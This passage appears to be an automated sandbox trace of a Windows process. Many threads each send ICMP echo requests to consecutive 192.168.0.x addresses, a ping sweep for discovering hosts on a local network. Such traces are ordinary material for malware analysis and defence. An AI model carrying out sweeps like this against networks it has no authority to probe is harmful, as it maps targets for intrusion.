	[0277.673] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3de730 | out: hHeap=0x330000) returned 1

Thread:
	id = 2357
	os_tid = 0x2a40

	[0218.078] GetLastError () returned 0x57
	[0218.078] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3deb00
	[0218.079] SetLastError (dwErrCode=0x57) 
	[0218.079] IcmpCreateFile () returned 0x3cc640
	[0218.727] IcmpSendEcho (in: IcmpHandle=0x3cc640, DestinationAddress=0xa900a8c0, RequestData=0x162ef8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x162ef8c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x162ef8c0) returned 0x1
	[0277.293] IcmpCloseHandle (IcmpHandle=0x3cc640) returned 1
	[0277.293] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3deb00 | out: hHeap=0x330000) returned 1

Thread:
	id = 2358
	os_tid = 0x2a44

	[0218.079] GetLastError () returned 0x57
	[0218.079] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3deed0
	[0218.080] SetLastError (dwErrCode=0x57) 
	[0218.080] IcmpCreateFile () returned 0x3cc690
	[0218.728] IcmpSendEcho (in: IcmpHandle=0x3cc690, DestinationAddress=0xaa00a8c0, RequestData=0x1656fa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1656faa0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1656faa0) returned 0x1
	[0276.379] IcmpCloseHandle (IcmpHandle=0x3cc690) returned 1
	[0276.379] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3deed0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2359
	os_tid = 0x2a48

	[0218.080] GetLastError () returned 0x57
	[0218.081] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3df2a0
	[0218.081] SetLastError (dwErrCode=0x57) 
	[0218.081] IcmpCreateFile () returned 0x3cc6e0
	[0218.729] IcmpSendEcho (in: IcmpHandle=0x3cc6e0, DestinationAddress=0xab00a8c0, RequestData=0x166dfe00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x166dfe20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x166dfe20) returned 0x1
	[0275.860] IcmpCloseHandle (IcmpHandle=0x3cc6e0) returned 1
	[0275.861] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3df2a0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2360
	os_tid = 0x2a4c

	[0218.082] GetLastError () returned 0x57
	[0218.082] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3df670
	[0218.082] SetLastError (dwErrCode=0x57) 
	[0218.082] IcmpCreateFile () returned 0x3cc730
	[0218.731] IcmpSendEcho (in: IcmpHandle=0x3cc730, DestinationAddress=0xac00a8c0, RequestData=0x168cfc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x168cfc80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x168cfc80) returned 0x1
	[0275.001] IcmpCloseHandle (IcmpHandle=0x3cc730) returned 1
	[0275.001] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3df670 | out: hHeap=0x330000) returned 1

Thread:
	id = 2361
	os_tid = 0x2a50

	[0218.084] GetLastError () returned 0x57
	[0218.084] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3dfa40
	[0218.085] SetLastError (dwErrCode=0x57) 
	[0218.085] IcmpCreateFile () returned 0x3cc780
	[0218.733] IcmpSendEcho (in: IcmpHandle=0x3cc780, DestinationAddress=0xad00a8c0, RequestData=0xfcbfa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfcbfaa0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xfcbfaa0) returned 0x1
	[0270.538] IcmpCloseHandle (IcmpHandle=0x3cc780) returned 1
	[0270.538] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3dfa40 | out: hHeap=0x330000) returned 1

Thread:
	id = 2362
	os_tid = 0x2a54

	[0218.085] GetLastError () returned 0x57
	[0218.085] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3dfe10
	[0218.086] SetLastError (dwErrCode=0x57) 
	[0218.086] IcmpCreateFile () returned 0x3cc7d0
	[0218.734] IcmpSendEcho (in: IcmpHandle=0x3cc7d0, DestinationAddress=0xae00a8c0, RequestData=0x16adfa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16adfa60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x16adfa60) returned 0x1
	[0270.023] IcmpCloseHandle (IcmpHandle=0x3cc7d0) returned 1
	[0270.023] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3dfe10 | out: hHeap=0x330000) returned 1

Thread:
	id = 2363
	os_tid = 0x2a58

	[0218.087] GetLastError () returned 0x57
	[0218.087] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3e01e0
	[0218.087] SetLastError (dwErrCode=0x57) 
	[0218.087] IcmpCreateFile () returned 0x3e9480
	[0218.736] IcmpSendEcho (in: IcmpHandle=0x3e9480, DestinationAddress=0xaf00a8c0, RequestData=0x1646fda0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1646fdc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1646fdc0) returned 0x1
	[0269.415] IcmpCloseHandle (IcmpHandle=0x3e9480) returned 1
	[0269.416] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3e01e0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2364
	os_tid = 0x2a5c

	[0218.090] GetLastError () returned 0x57
	[0218.090] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3e05b0
	[0218.092] SetLastError (dwErrCode=0x57) 
	[0218.092] IcmpCreateFile () returned 0x3e94d0
	[0218.737] IcmpSendEcho (in: IcmpHandle=0x3e94d0, DestinationAddress=0xb000a8c0, RequestData=0x16cffe20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16cffe40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x16cffe40) returned 0x1
	[0268.624] IcmpCloseHandle (IcmpHandle=0x3e94d0) returned 1
	[0268.625] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3e05b0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2365
	os_tid = 0x2a60

	[0218.093] GetLastError () returned 0x57
	[0218.093] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ea480
	[0218.095] SetLastError (dwErrCode=0x57) 
	[0218.095] IcmpCreateFile () returned 0x3e9520
	[0218.738] IcmpSendEcho (in: IcmpHandle=0x3e9520, DestinationAddress=0xb100a8c0, RequestData=0x16e0f800, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16e0f820, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x16e0f820) returned 0x1
	[0268.266] IcmpCloseHandle (IcmpHandle=0x3e9520) returned 1
	[0268.266] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3ea480 | out: hHeap=0x330000) returned 1

Thread:
	id = 2366
	os_tid = 0x2a64

	[0218.095] GetLastError () returned 0x57
	[0218.096] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ea850
	[0218.097] SetLastError (dwErrCode=0x57) 
	[0218.097] IcmpCreateFile () returned 0x3e9570
	[0218.740] IcmpSendEcho (in: IcmpHandle=0x3e9570, DestinationAddress=0xb200a8c0, RequestData=0x1705fae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1705fb00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1705fb00) returned 0x1
	[0267.005] IcmpCloseHandle (IcmpHandle=0x3e9570) returned 1
	[0267.006] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3ea850 | out: hHeap=0x330000) returned 1

Thread:
	id = 2367
	os_tid = 0x2a68

	[0218.947] GetLastError () returned 0x57
	[0218.948] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3eac20
	[0218.948] SetLastError (dwErrCode=0x57) 
	[0218.948] IcmpCreateFile () returned 0x3f3870
	[0218.948] IcmpSendEcho (in: IcmpHandle=0x3f3870, DestinationAddress=0xb300a8c0, RequestData=0x1724f8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1724f8c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1724f8c0) returned 0x1
	[0266.571] IcmpCloseHandle (IcmpHandle=0x3f3870) returned 1
	[0266.572] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3eac20 | out: hHeap=0x330000) returned 1

Thread:
	id = 2378
	os_tid = 0x2a94

	[0218.950] GetLastError () returned 0x57
	[0218.950] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3eaff0
	[0218.951] SetLastError (dwErrCode=0x57) 
	[0218.951] IcmpCreateFile () returned 0x3f3910
	[0218.951] IcmpSendEcho (in: IcmpHandle=0x3f3910, DestinationAddress=0xb400a8c0, RequestData=0x173df9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x173df9e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x173df9e0) returned 0x1
	[0266.052] IcmpCloseHandle (IcmpHandle=0x3f3910) returned 1
	[0266.052] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3eaff0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2379
	os_tid = 0x2a98

	[0218.953] GetLastError () returned 0x57
	[0218.953] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3eb3c0
	[0218.954] SetLastError (dwErrCode=0x57) 
	[0218.954] IcmpCreateFile () returned 0x3f39b0
	[0218.954] IcmpSendEcho (in: IcmpHandle=0x3f39b0, DestinationAddress=0xb500a8c0, RequestData=0x174efde0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x174efe00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x174efe00) returned 0x1
	[0262.643] IcmpCloseHandle (IcmpHandle=0x3f39b0) returned 1
	[0262.643] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3eb3c0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2380
	os_tid = 0x2a9c

	[0218.956] GetLastError () returned 0x57
	[0218.956] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3eb790
	[0218.956] SetLastError (dwErrCode=0x57) 
	[0218.956] IcmpCreateFile () returned 0x3f3a50
	[0218.956] IcmpSendEcho (in: IcmpHandle=0x3f3a50, DestinationAddress=0xb600a8c0, RequestData=0x16f5f780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16f5f7a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x16f5f7a0) returned 0x1
	[0262.126] IcmpCloseHandle (IcmpHandle=0x3f3a50) returned 1
	[0262.126] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3eb790 | out: hHeap=0x330000) returned 1

Thread:
	id = 2381
	os_tid = 0x2aa0

	[0218.959] GetLastError () returned 0x57
	[0218.959] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ebb60
	[0218.960] SetLastError (dwErrCode=0x57) 
	[0218.960] IcmpCreateFile () returned 0x3f3af0
	[0218.960] IcmpSendEcho (in: IcmpHandle=0x3f3af0, DestinationAddress=0xb700a8c0, RequestData=0x1763f7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1763f7c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1763f7c0) returned 0x1
	[0261.624] IcmpCloseHandle (IcmpHandle=0x3f3af0) returned 1
	[0261.625] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3ebb60 | out: hHeap=0x330000) returned 1

Thread:
	id = 2382
	os_tid = 0x2aa4

	[0218.967] GetLastError () returned 0x57
	[0218.968] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ebf30
	[0218.968] SetLastError (dwErrCode=0x57) 
	[0218.968] IcmpCreateFile () returned 0x3f3b90
	[0218.968] IcmpSendEcho (IcmpHandle=0x3f3b90, DestinationAddress=0xb800a8c0, RequestData=0x178af780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x178af7a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2383
	os_tid = 0x2aa8

	[0218.970] GetLastError () returned 0x57
	[0218.970] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ec300
	[0218.970] SetLastError (dwErrCode=0x57) 
	[0218.970] IcmpCreateFile () returned 0x3f3c30
	[0218.970] IcmpSendEcho (IcmpHandle=0x3f3c30, DestinationAddress=0xb900a8c0, RequestData=0x179bfe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x179bfe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2384
	os_tid = 0x2aac

	[0218.972] GetLastError () returned 0x57
	[0218.972] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ec6d0
	[0218.973] SetLastError (dwErrCode=0x57) 
	[0218.973] IcmpCreateFile () returned 0x3f3cd0
	[0218.973] IcmpSendEcho (IcmpHandle=0x3f3cd0, DestinationAddress=0xba00a8c0, RequestData=0x177af940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x177af960, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2385
	os_tid = 0x2ab0

	[0218.975] GetLastError () returned 0x57
	[0218.975] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ecaa0
	[0218.975] SetLastError (dwErrCode=0x57) 
	[0218.975] IcmpCreateFile () returned 0x3f4dd0
	[0218.977] IcmpSendEcho (IcmpHandle=0x3f4dd0, DestinationAddress=0xbb00a8c0, RequestData=0x17b0fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17b0fe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2386
	os_tid = 0x2ab4

	[0218.979] GetLastError () returned 0x57
	[0218.979] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ece70
	[0218.979] SetLastError (dwErrCode=0x57) 
	[0218.979] IcmpCreateFile () returned 0x3f4e70
	[0218.979] IcmpSendEcho (IcmpHandle=0x3f4e70, DestinationAddress=0xbc00a8c0, RequestData=0x16bdf860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16bdf880, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2387
	os_tid = 0x2ab8

	[0218.981] GetLastError () returned 0x57
	[0218.981] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ed240
	[0218.982] SetLastError (dwErrCode=0x57) 
	[0218.982] IcmpCreateFile () returned 0x3f4f10
	[0218.982] IcmpSendEcho (IcmpHandle=0x3f4f10, DestinationAddress=0xbd00a8c0, RequestData=0x17cef720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17cef740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2388
	os_tid = 0x2abc

	[0218.984] GetLastError () returned 0x57
	[0218.984] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ed610
	[0218.984] SetLastError (dwErrCode=0x57) 
	[0218.984] IcmpCreateFile () returned 0x3f4fb0
	[0218.984] IcmpSendEcho (IcmpHandle=0x3f4fb0, DestinationAddress=0xbe00a8c0, RequestData=0x17e4f980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17e4f9a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2389
	os_tid = 0x2ac0

	[0218.986] GetLastError () returned 0x57
	[0218.986] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ed9e0
	[0218.986] SetLastError (dwErrCode=0x57) 
	[0218.986] IcmpCreateFile () returned 0x3f5050
	[0218.987] IcmpSendEcho (IcmpHandle=0x3f5050, DestinationAddress=0xbf00a8c0, RequestData=0x169cfa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x169cfaa0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2390
	os_tid = 0x2ac4

	[0218.989] GetLastError () returned 0x57
	[0218.989] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3eddb0
	[0218.989] SetLastError (dwErrCode=0x57) 
	[0218.989] IcmpCreateFile () returned 0x3f50f0
	[0218.989] IcmpSendEcho (IcmpHandle=0x3f50f0, DestinationAddress=0xc000a8c0, RequestData=0x1802fba0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1802fbc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2391
	os_tid = 0x2ac8

	[0218.991] GetLastError () returned 0x57
	[0218.991] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f5dd0
	[0218.994] SetLastError (dwErrCode=0x57) 
	[0218.994] IcmpCreateFile () returned 0x3f5190
	[0218.994] IcmpSendEcho (IcmpHandle=0x3f5190, DestinationAddress=0xc100a8c0, RequestData=0x182afa20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x182afa40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2392
	os_tid = 0x2acc

	[0218.995] GetLastError () returned 0x57
	[0218.995] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f61a0
	[0218.996] SetLastError (dwErrCode=0x57) 
	[0218.996] IcmpCreateFile () returned 0x3f5230
	[0218.996] IcmpSendEcho (IcmpHandle=0x3f5230, DestinationAddress=0xc200a8c0, RequestData=0x183bf7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x183bf7e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2393
	os_tid = 0x2ad0

	[0218.998] GetLastError () returned 0x57
	[0218.998] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f6570
	[0218.998] SetLastError (dwErrCode=0x57) 
	[0218.998] IcmpCreateFile () returned 0x3f52d0
	[0218.998] IcmpSendEcho (IcmpHandle=0x3f52d0, DestinationAddress=0xc300a8c0, RequestData=0x184efcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x184efce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2394
	os_tid = 0x2ad4

	[0219.463] GetLastError () returned 0x57
	[0219.463] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f6940
	[0219.464] SetLastError (dwErrCode=0x57) 
	[0219.464] IcmpCreateFile () returned 0x3f5370
	[0219.464] IcmpSendEcho (IcmpHandle=0x3f5370, DestinationAddress=0xc400a8c0, RequestData=0x1865fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1865fe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2408
	os_tid = 0x2b0c

	[0219.466] GetLastError () returned 0x57
	[0219.466] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f6d10
	[0219.467] SetLastError (dwErrCode=0x57) 
	[0219.467] IcmpCreateFile () returned 0x3f5410
	[0219.467] IcmpSendEcho (IcmpHandle=0x3f5410, DestinationAddress=0xc500a8c0, RequestData=0x187cfb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x187cfb80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2409
	os_tid = 0x2b10

	[0219.469] GetLastError () returned 0x57
	[0219.469] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f70e0
	[0219.469] SetLastError (dwErrCode=0x57) 
	[0219.469] IcmpCreateFile () returned 0x3f54b0
	[0219.469] IcmpSendEcho (IcmpHandle=0x3f54b0, DestinationAddress=0xc600a8c0, RequestData=0x189dfee0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x189dff00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2410
	os_tid = 0x2b14

	[0219.471] GetLastError () returned 0x57
	[0219.471] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f74b0
	[0219.471] SetLastError (dwErrCode=0x57) 
	[0219.471] IcmpCreateFile () returned 0x3f5550
	[0219.472] IcmpSendEcho (IcmpHandle=0x3f5550, DestinationAddress=0xc700a8c0, RequestData=0x181af8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x181af8e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2411
	os_tid = 0x2b18

	[0219.473] GetLastError () returned 0x57
	[0219.473] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f7880
	[0219.474] SetLastError (dwErrCode=0x57) 
	[0219.474] IcmpCreateFile () returned 0x3f55f0
	[0219.474] IcmpSendEcho (IcmpHandle=0x3f55f0, DestinationAddress=0xc800a8c0, RequestData=0x18b9fea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18b9fec0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2412
	os_tid = 0x2b1c

	[0219.475] GetLastError () returned 0x57
	[0219.476] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f7c50
	[0219.476] SetLastError (dwErrCode=0x57) 
	[0219.476] IcmpCreateFile () returned 0x3f5690
	[0219.476] IcmpSendEcho (IcmpHandle=0x3f5690, DestinationAddress=0xc900a8c0, RequestData=0x188cfc40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x188cfc60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2413
	os_tid = 0x2b20

	[0219.489] GetLastError () returned 0x57
	[0219.489] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f8020
	[0219.489] SetLastError (dwErrCode=0x57) 
	[0219.490] IcmpCreateFile () returned 0x3f5730
	[0219.490] IcmpSendEcho (IcmpHandle=0x3f5730, DestinationAddress=0xca00a8c0, RequestData=0x18cffe60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18cffe80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2414
	os_tid = 0x2b24

	[0219.491] GetLastError () returned 0x57
	[0219.491] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f83f0
	[0219.492] SetLastError (dwErrCode=0x57) 
	[0219.492] IcmpCreateFile () returned 0x3f57d0
	[0219.492] IcmpSendEcho (IcmpHandle=0x3f57d0, DestinationAddress=0xcb00a8c0, RequestData=0x18e9fe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18e9fea0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2415
	os_tid = 0x2b28

	[0219.495] GetLastError () returned 0x57
	[0219.495] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f87c0
	[0219.495] SetLastError (dwErrCode=0x57) 
	[0219.495] IcmpCreateFile () returned 0x3f5870
	[0219.495] IcmpSendEcho (IcmpHandle=0x3f5870, DestinationAddress=0xcc00a8c0, RequestData=0x18fbf940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18fbf960, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2416
	os_tid = 0x2b2c

	[0219.497] GetLastError () returned 0x57
	[0219.497] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f8b90
	[0219.497] SetLastError (dwErrCode=0x57) 
	[0219.497] IcmpCreateFile () returned 0x3f5910
	[0219.497] IcmpSendEcho (IcmpHandle=0x3f5910, DestinationAddress=0xcd00a8c0, RequestData=0x1925fb20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1925fb40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2417
	os_tid = 0x2b30

	[0219.499] GetLastError () returned 0x57
	[0219.499] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f8f60
	[0219.500] SetLastError (dwErrCode=0x57) 
	[0219.500] IcmpCreateFile () returned 0x3f59b0
	[0219.500] IcmpSendEcho (IcmpHandle=0x3f59b0, DestinationAddress=0xce00a8c0, RequestData=0x1944fee0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1944ff00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2418
	os_tid = 0x2b34

	[0219.502] GetLastError () returned 0x57
	[0219.502] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f9330
	[0219.502] SetLastError (dwErrCode=0x57) 
	[0219.502] IcmpCreateFile () returned 0x3f5a50
	[0219.502] IcmpSendEcho (IcmpHandle=0x3f5a50, DestinationAddress=0xcf00a8c0, RequestData=0x1955fac0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1955fae0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2419
	os_tid = 0x2b38

	[0219.504] GetLastError () returned 0x57
	[0219.504] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3f9700
	[0219.505] SetLastError (dwErrCode=0x57) 
	[0219.505] IcmpCreateFile () returned 0x3f5af0
	[0219.505] IcmpSendEcho (IcmpHandle=0x3f5af0, DestinationAddress=0xd000a8c0, RequestData=0x1915f880, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1915f8a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2420
	os_tid = 0x2b3c

	[0219.507] GetLastError () returned 0x57
	[0219.507] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x401dd0
	[0219.510] SetLastError (dwErrCode=0x57) 
	[0219.510] IcmpCreateFile () returned 0x3f5b90
	[0219.510] IcmpSendEcho (IcmpHandle=0x3f5b90, DestinationAddress=0xd100a8c0, RequestData=0x197dfac0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x197dfae0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2421
	os_tid = 0x2b40

	[0219.512] GetLastError () returned 0x57
	[0219.512] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x4021a0
	[0219.513] SetLastError (dwErrCode=0x57) 
	[0219.513] IcmpCreateFile () returned 0x3f5c30
	[0219.513] IcmpSendEcho (IcmpHandle=0x3f5c30, DestinationAddress=0xd200a8c0, RequestData=0x196bf820, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x196bf840, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2422
	os_tid = 0x2b44

	[0219.516] GetLastError () returned 0x57
	[0219.516] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x402570
	[0219.516] SetLastError (dwErrCode=0x57) 
	[0219.516] IcmpCreateFile () returned 0x3f5cd0
	[0219.516] IcmpSendEcho (IcmpHandle=0x3f5cd0, DestinationAddress=0xd300a8c0, RequestData=0x199dfd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x199dfd40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2423
	os_tid = 0x2b48

	[0219.518] GetLastError () returned 0x57
	[0219.518] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x402940
	[0219.519] SetLastError (dwErrCode=0x57) 
	[0219.519] IcmpCreateFile () returned 0x405dd0
	[0219.520] IcmpSendEcho (IcmpHandle=0x405dd0, DestinationAddress=0xd400a8c0, RequestData=0x19c2fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19c2fe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2424
	os_tid = 0x2b4c

	[0219.522] GetLastError () returned 0x57
	[0219.522] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x402d10
	[0219.522] SetLastError (dwErrCode=0x57) 
	[0219.523] IcmpCreateFile () returned 0x405e70
	[0219.523] IcmpSendEcho (IcmpHandle=0x405e70, DestinationAddress=0xd500a8c0, RequestData=0x19aefb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19aefb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2425
	os_tid = 0x2b50

	[0220.119] GetLastError () returned 0x57
	[0220.119] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x386e60
	[0220.120] SetLastError (dwErrCode=0x57) 
	[0220.120] IcmpCreateFile () returned 0x405f10
	[0220.120] IcmpSendEcho (IcmpHandle=0x405f10, DestinationAddress=0xd600a8c0, RequestData=0x19edfba0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19edfbc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2437
	os_tid = 0x2b88

	[0220.176] GetLastError () returned 0x57
